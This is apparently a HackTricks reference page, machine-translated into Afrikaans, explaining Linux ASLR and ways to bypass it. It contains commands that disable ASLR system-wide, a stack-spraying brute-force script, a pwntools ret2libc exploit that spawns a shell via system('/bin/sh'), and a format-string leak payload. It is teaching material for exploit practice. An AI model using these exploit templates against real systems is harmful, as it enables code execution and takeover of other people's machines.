ASLR

Reading time: 11 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese Inligting

Address Space Layout Randomization (ASLR) is 'n sekuriteits tegniek wat in bedryfstelsels gebruik word om die geheue adresse wat deur stelsels en toepassingsprosesse gebruik word, te randomiseer. Deur dit te doen, maak dit dit aansienlik moeiliker vir 'n aanvaller om die ligging van spesifieke prosesse en data, soos die stapel, hoop en biblioteke, te voorspel, wat sekere tipes ontploffings, veral buffer oorgroeis, verminder.

Kontroleer ASLR Status

Om die ASLR-status op 'n Linux-stelsel te kontroleer, kan jy die waarde uit die /proc/sys/kernel/randomize_va_space lĂȘer lees. Die waarde wat in hierdie lĂȘer gestoor is, bepaal die tipe ASLR wat toegepas word:

  • 0: Geen randomisering. Alles is staties.
  • 1: Konserwatiewe randomisering. Gedeelde biblioteke, stapel, mmap(), VDSO-bladsy is gerandomiseer.
  • 2: Volledige randomisering. Benewens elemente wat deur konserwatiewe randomisering gerandomiseer is, is geheue wat deur brk() bestuur word, gerandomiseer.

Jy kan die ASLR-status met die volgende opdrag kontroleer:

bash
cat /proc/sys/kernel/randomize_va_space

Deaktiveer ASLR

Om ASLR te deaktiveer, stel jy die waarde van /proc/sys/kernel/randomize_va_space op 0. Dit is oor die algemeen nie aanbeveel om ASLR te deaktiveer buite toets- of foutopsporingstoestande nie. Hier is hoe jy dit kan deaktiveer:

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

U kan ook ASLR vir 'n uitvoering deaktiveer met:

bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Aktivering van ASLR

Om ASLR te aktiveer, kan jy 'n waarde van 2 na die /proc/sys/kernel/randomize_va_space lĂȘer skryf. Dit vereis gewoonlik wortelregte. Volledige randomisering kan gedoen word met die volgende opdrag:

bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Volharding Oor Herlaaiings

Veranderinge gemaak met die echo opdragte is tydelik en sal teruggestel word by herlaai. Om die verandering volhardend te maak, moet jy die /etc/sysctl.conf lĂȘer wysig en die volgende lyn byvoeg of aanpas:

tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Na die redigering van /etc/sysctl.conf, pas die veranderinge toe met:

bash
sudo sysctl -p

Dit sal verseker dat jou ASLR-instellings oor herlaaiings bly.

Omseilings

32-bit brute-forcing

PaX verdeel die prosesadresruimte in 3 groepe:

  • Kode en data (geĂŻnisialiseerde en nie-geĂŻnisialiseerde): .text, .data, en .bss —> 16 bits entropie in die delta_exec veranderlike. Hierdie veranderlike word ewekansig geĂŻnitialiseer met elke proses en bygevoeg tot die aanvanklike adresse.
  • Geheue toegeken deur mmap() en gedeelde biblioteke —> 16 bits, genoem delta_mmap.
  • Die stapel —> 24 bits, verwys as delta_stack. Dit gebruik egter effektief 11 bits (van die 10de tot die 20ste byte insluitend), geallineer op 16 bytes —> Dit lei tot 524,288 moontlike werklike stapeladresse.

Die vorige data is vir 32-bit stelsels en die verminderde finale entropie maak dit moontlik om ASLR te omseil deur die uitvoering herhaaldelik te probeer totdat die uitbuiting suksesvol voltooi word.

Brute-force idees:

  • As jy 'n groot genoeg oorgang het om 'n groot NOP-slee voor die shellcode te huisves, kan jy eenvoudig adresse in die stapel brute-force totdat die vloei oor 'n deel van die NOP-slee spring.
  • 'n Ander opsie hiervoor, in die geval die oorgang nie so groot is nie en die uitbuiting plaaslik uitgevoer kan word, is om die NOP-slee en shellcode in 'n omgewing veranderlike by te voeg.
  • As die uitbuiting plaaslik is, kan jy probeer om die basisadres van libc te brute-force (nuttig vir 32-bit stelsels):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • As jy 'n afstandsbediening bediener aanval, kan jy probeer om die adres van die libc funksie usleep te brute-force, met 10 as argument (byvoorbeeld). As die bediener op 'n stadium 10s ekstra neem om te antwoord, het jy die adres van hierdie funksie gevind.

tip

In 64-bis stelsels is die entropie baie hoër en dit behoort nie moontlik te wees nie.

64-bis stap brute-forcing

Dit is moontlik om 'n groot deel van die stap met omgewing veranderlikes te beset en dan te probeer om die binĂȘre honderde/duisende kere plaaslik te misbruik om dit te ontgin.
Die volgende kode toon hoe dit moontlik is om net 'n adres in die stap te kies en elke paar honderd uitvoerings sal daardie adres die NOP instruksie bevat:

c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
python
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Plaaslike Inligting (/proc/[pid]/stat)

Die lĂȘer /proc/[pid]/stat van 'n proses is altyd leesbaar deur almal en dit bevat interessante inligting soos:

  • startcode & endcode: Adresse bo en onder met die TEKS van die binĂȘre
  • startstack: Die adres van die begin van die stapel
  • start_data & end_data: Adresse bo en onder waar die BSS is
  • kstkesp & kstkeip: Huidige ESP en EIP adresse
  • arg_start & arg_end: Adresse bo en onder waar cli argumente is.
  • env_start &env_end: Adresse bo en onder waar omgewing veranderlikes is.

Daarom, as die aanvaller op dieselfde rekenaar is as die binĂȘre wat uitgebuit word en hierdie binĂȘre nie die oorgang van rou argumente verwag nie, maar van 'n ander invoer wat gekonstrueer kan word na die lees van hierdie lĂȘer. Dit is moontlik vir 'n aanvaller om 'n paar adresse uit hierdie lĂȘer te kry en offsets daaruit vir die uitbuiting te konstrueer.

tip

Vir meer inligting oor hierdie lĂȘer, kyk na https://man7.org/linux/man-pages/man5/proc.5.html en soek vir /proc/pid/stat

Om 'n lek te hĂȘ

  • Die uitdaging is om 'n lek te gee

As jy 'n lek gegee word (maklike CTF-uitdagings), kan jy offsets daaruit bereken (veronderstel byvoorbeeld dat jy die presiese libc weergawe weet wat in die stelsel wat jy uitbuit, gebruik word). Hierdie voorbeeld uitbuiting is uit die voorbeeld hier (kyk daardie bladsy vir meer besonderhede):

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Deur 'n buffer overflow te misbruik, sal dit moontlik wees om 'n ret2plt te benut om 'n adres van 'n funksie uit die libc te eksfiltreer. Kyk:

Ret2plt

  • Format Strings Arbitrary Read

Net soos in ret2plt, as jy 'n arbitrĂȘre lees via 'n formaat string kwesbaarheid het, is dit moontlik om die adres van 'n libc funksie uit die GOT te eksfiltreer. Die volgende voorbeeld is van hier:

python
payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

U kan meer inligting oor Format Strings arbitrĂȘre lees vind in:

Format Strings

Ret2ret & Ret2pop

Probeer om ASLR te omseil deur adresse binne die stapel te misbruik:

Ret2ret & Reo2pop

vsyscall

Die vsyscall meganisme dien om prestasie te verbeter deur sekere stelsels oproepe in gebruikersruimte uit te voer, alhoewel hulle fundamenteel deel van die kern is. Die kritieke voordeel van vsyscalls lĂȘ in hul vaste adresse, wat nie onderhewig is aan ASLR (Address Space Layout Randomization) nie. Hierdie vaste aard beteken dat aanvallers nie 'n inligtingslek kwesbaarheid benodig om hul adresse te bepaal en dit in 'n uitbuiting te gebruik nie.
Egter, geen super interessante gadgets sal hier gevind word nie (alhoewel dit byvoorbeeld moontlik is om 'n ret; ekwivalent te kry)

(Dit volgende voorbeeld en kode is van hierdie skrywe)

Byvoorbeeld, 'n aanvaller mag die adres 0xffffffffff600800 binne 'n uitbuiting gebruik. Terwyl die poging om direk na 'n ret instruksie te spring mag lei tot onstabiliteit of crashes na die uitvoering van 'n paar gadgets, kan dit suksesvol wees om na die begin van 'n syscall wat deur die vsyscall afdeling verskaf word, te spring. Deur 'n ROP gadget versigtig te plaas wat uitvoering na hierdie vsyscall adres lei, kan 'n aanvaller kode-uitvoering bereik sonder om ASLR vir hierdie deel van die uitbuiting te omseil.

ef➀  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➀  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➀  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➀  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➀  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Let dus op hoe dit moontlik mag wees om ASLR te omseil deur die vdso te misbruik as die kernel saamgestel is met CONFIG_COMPAT_VDSO, aangesien die vdso-adres nie ge-randomiseer sal word nie. Vir meer inligting, kyk:

Ret2vDSO

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks